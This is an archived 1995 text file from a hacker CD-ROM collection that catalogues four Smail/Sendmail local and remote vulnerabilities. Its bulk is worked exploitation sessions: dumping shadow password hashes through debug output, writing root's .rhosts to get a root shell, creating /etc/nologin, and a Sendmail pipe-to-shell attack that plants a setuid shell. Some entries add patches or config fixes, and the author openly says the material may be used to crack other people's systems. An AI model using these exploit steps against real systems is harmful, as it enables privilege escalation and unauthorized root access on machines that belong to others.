home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / articles / mailbugs.txt < prev    next >
Text File  |  1998-03-25  |  7KB  |  261 lines

  1. from Hacknet, Postmaster@hacknet.demon.co.uk
  2.  
  3. Introduction and Legal Ramble
  4.  
  5. This is written for anyone thats interested in learning about the many Security holes that are resident in many versions of
  6. Sendmail. I do not care if you use it to protect your system against others, or crack other ppls systems...just don't involve me in
  7. it. 
  8.  
  9. I wrote it to collate all the information on sendmail into one list for convience and perhaps it will help some people. 
  10.  
  11. I would like to thank the unknown person who started this off long time ago.... 
  12.  
  13. This paper is (c) 1995, however I do not object, to you including any of these in a FAQ, printed magazine, book etc... just mail
  14. me first so I known where it's distributed *:^) 
  15.  
  16. Have you spotted a mistake or anything I could add? Then just add your own stuff and put yourself down on the credits and
  17. mail it me :) 
  18.  
  19. Note: This is v.01b so there is bound to be mistakes and there are a lot of other stuff to add as well....and expand it to include
  20. FTP daemon bugs?
  21. I am extremely busy..and am only releasing it due to popular demand. 
  22.  
  23. OH, please tell me what versions these work on! 
  24.  
  25.  
  26.  
  27. Bug #1
  28.  
  29. Sendmail Version affected: 3.1.28, any more ? 
  30.  
  31. SYNOPSIS
  32.  
  33. Use of ~/.forward and debug lets a local user read any file on the system. 
  34.  
  35. EXAMPLE OF EXPLOITATION
  36.  
  37. Contrary to popular belief, adding -smtp_debup to your smail config file will not prevent this bug from occuring. It will just
  38. prevent exploitation via the smtp port. 
  39.  
  40. We can just do this.... 
  41.  
  42. user@psyops ~> smail -bs -v20
  43. expand_string($primary_name Smail$version ready for mail on $date,(null),
  44. (null)) called
  45. expand_string returns psyops.warez.mil Smail3.1.28.1 ready for mail on
  46. Mon, 5 Sep 94 12:15 PDT
  47. 220 psyops.warez.mil Smail3.1.28.1 ready for mail on Mon, 5 Sep 94 12:15
  48. PDT
  49. expn user
  50.  
  51. [same text as before]
  52.  
  53. expand_string(~/.forward, /home/user, user) called
  54. expand_string returns /home/user/.forward
  55. dtd_forwardfile:  opening forward file /home/user/.forward
  56.  
  57. [more of same text]
  58.  
  59. read 890 bytes
  60. director dotforward: matched user, forwarded to
  61. root:e.fmSewuS32sfeVdsjk/Ewef:8000:0:99999:7:::
  62. bin:*:8000:0:99999:7:::
  63. daemon:*:8000:0:99999:7:::
  64. nobody:*:8000:0:99999:7:::
  65. user:e74fds.Sfdsioa8e2dsskDSx:8000:0:99999:7:::
  66. [.....]
  67.  
  68.  
  69. process_field: entry
  70. We have a group
  71. We have a group
  72. process_field: error: recursive address group
  73. 550 user ... not matched
  74. quit
  75. 221 psyops.warez.mil closing connection
  76.  
  77. To fix this, you should get rid of the -d and -v options for smail as well as adding -smtp_debug to your config file. 
  78.  
  79.  
  80.  
  81. Bug #2
  82.  
  83. Sendmail Version affected: 3.1.28, any more ? 
  84.  
  85. SYNOPSIS
  86.  
  87. Smail called with the -D flag will allow you to create and append to any file on the system. 
  88.  
  89. EXAMPLE OF EXPLOITATION
  90.  
  91. user@psyops ~> cat > ~/.forward
  92.  
  93. localhost user
  94. ^D
  95. user@psyops ~> smail -bs -D ~root/.rhosts -v20
  96. 220 psyops.warez.mil Smail3.1.28.1 ready for mail on Mon, 5 Sep 94 12
  97. :23 PDT
  98. expn user
  99. 250 user
  100. quit
  101. 221 psyops.warez.mil closing connection
  102.  
  103. user@psyops ~> rsh -l root localhost tcsh\ -i
  104. Warning: no access to tty (Bad file number).
  105. Thus no job control in this shell.
  106. # id
  107. uid=3D0(root) gid=3D0(root)
  108.  
  109. Patch this by removing the -D option from smail. 
  110.  
  111. I received the following patch recently. I haven't tested it, so use at your own risk. 
  112.  
  113. *** Omain.c     Wed Mar 11 12:33:18 1993
  114. --- main.c      Wed Mar 11 12:59:54 1993
  115. ***************
  116. *** 436,458 ****
  117.       }
  118.  
  119. -     /*
  120. -      * change error file to debugging file from -D option, if any
  121. -      */
  122. -
  123. -     if (arg_debug_file) {
  124. -       new_errfile =3D fopen(arg_debug_file, "a");
  125. -       if (new_errfile =3D=3D NULL) {
  126. -           write_log(LOG_TTY, "Warning: Cannot open debug file %s: %s\n",
  127. -                     arg_debug_file, strerrno(errno));
  128. -           arg_debug_file =3D NULL;
  129. -       } else {
  130. -           errfile =3D new_errfile;
  131. -           fprintf(errfile, "\n%s: Debugging started: pid=3D%ld\n\n",
  132. -                   program, (long)getpid());
  133. -       }
  134. -     }
  135.  
  136.       /*
  137.        * read in the transport, router and director files, if needed
  138.        *
  139.        * NOTE: if queue_only is FALSE and mode is DELIVER_MAIL,
  140. --- 436,441 ----
  141. ***************
  142. *** 525,530 ****
  143. --- 508,537 ----
  144.       if (prog_euid !=3D REQUIRED_EUID)
  145.       queue_only =3D TRUE;
  146.   #endif
  147.  
  148. +     /*
  149. +      * change error file to debugging file from -D option, if any
  150. +      *
  151. +      * JMJ: Change location of this fragment to below the setuid/setgid
  152. +      *      calls to allow for use of fopen_as_user() instead of just
  153. +      *      fopen().
  154. +      *
  155. +      *      Side effect: -D now requires full pathname to debug file
  156. +      */
  157. +
  158. +     if (arg_debug_file) {
  159. +       new_errfile =3D fopen_as_user(arg_debug_file, "a", 1, real_uid,
  160. +           prog_egid, 0600);
  161. +           write_log(LOG_TTY, "Warning: Cannot open debug file %s: %s\n",
  162. +                     arg_debug_file, strerrno(errno));
  163. +           arg_debug_file =3D NULL;
  164. +       } else {
  165. +           errfile =3D new_errfile;
  166. +           fprintf(errfile, "\n%s: Debugging started: pid=3D%ld\n\n",
  167. +                   program, (long)getpid());
  168. +       }
  169. +     }
  170.  
  171.       /*
  172.        * error processing can be other than TERMINAL only for
  173.  
  174.  
  175.  
  176. Bug #3
  177.  
  178. Sendmail Version affected: ? 
  179.  
  180. SYNOPSIS
  181.  
  182. Files specified in ~/.forward can be created in any directory, regardless of it's permissions. (File is still owned by mailbox
  183. owner, however.) 
  184.  
  185. EXAMPLE OF EXPLOITATION
  186.  
  187. user@psyops ~> echo "/etc/nologin" > ~/.forward
  188. user@psyops ~> mail -r root user < /dev/null
  189. user@psyops ~> echo "Site shutdown due to smail lameness" >!  /etc/no=
  190. login
  191. user@psyops ~> rlogin localhost
  192. Site shutdown due to smail lameness
  193. rlogin: connection closed.
  194.  
  195. Plug up this hole by adding 'check_path' to the following part of your /usr/lib/smail/transports file: 
  196.  
  197. [...]
  198. # file - deliver mail to files
  199. #
  200. # This is used implicitly when smail encounters addresses which begin with
  201. # a slash or squiggle character, such as "/usr/info/list_messages" or
  202. # perhaps "~/Mail/inbox".
  203. file:   driver =3D appendfile,
  204. return_path, local, from, unix_from_hack;
  205.  
  206. file =3D $user,                   # file is taken from address
  207. append_as_user,                 # use user-id associated with address
  208. expand_user,                    # expand ~ and $ within address
  209. check_path,   #<--add this line
  210. suffix =3D "\n",
  211. mode =3D 0644
  212. [....]
  213.  
  214.  
  215.  
  216. BUG #4
  217.  
  218. Version affected: 5.65? 
  219.  
  220. from CSC FAQ: 
  221.  
  222. A SAMPLE EXPLOITATION
  223.  
  224. A sample session follows. 
  225.  
  226. ---cut here
  227. [panix!jhawk] |% telnet panix.com 25
  228. Trying 198.7.0.2 ...
  229. Connected to panix.com.
  230. Escape character is '^]'.
  231. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
  232. -0500
  233. HELO
  234. 250 Hello panix.com, why do you call yourself ?
  235. MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
  236. 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
  237. RCPT TO: root
  238. 250 root... Recipient ok
  239. DATA
  240. 354 Enter mail, end with @.@ on a line by itself
  241.  From: jhawk"panix.com (John Hawkinson)
  242.   To: jhawk"panix.com (John Hawkinson)
  243.   Return-Receipt-To: |foobar
  244.   Subject: This is a large hole in the ground.
  245.   X-Disclaimer: We take no responsibility for what might happen
  246.  
  247.  
  248.   Hi there. Wanna play ball?
  249.  
  250.   #!/bin/sh
  251.   #The above line is just in case :-)
  252.   echo This is a Serious Bug > /tmp/bug
  253.   echo id reports: >> /tmp/bug
  254.   /usr/bin/id >> /tmp/bug
  255.   echo Fixing this would be good >> /tmp/bug
  256.   cp /bin/sh /tmp/bugshell
  257.   chmod u+s /tmp/bugshell
  258.   echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  259.   chmod ugo+rx /tmp/bugshell
  260.  
  261.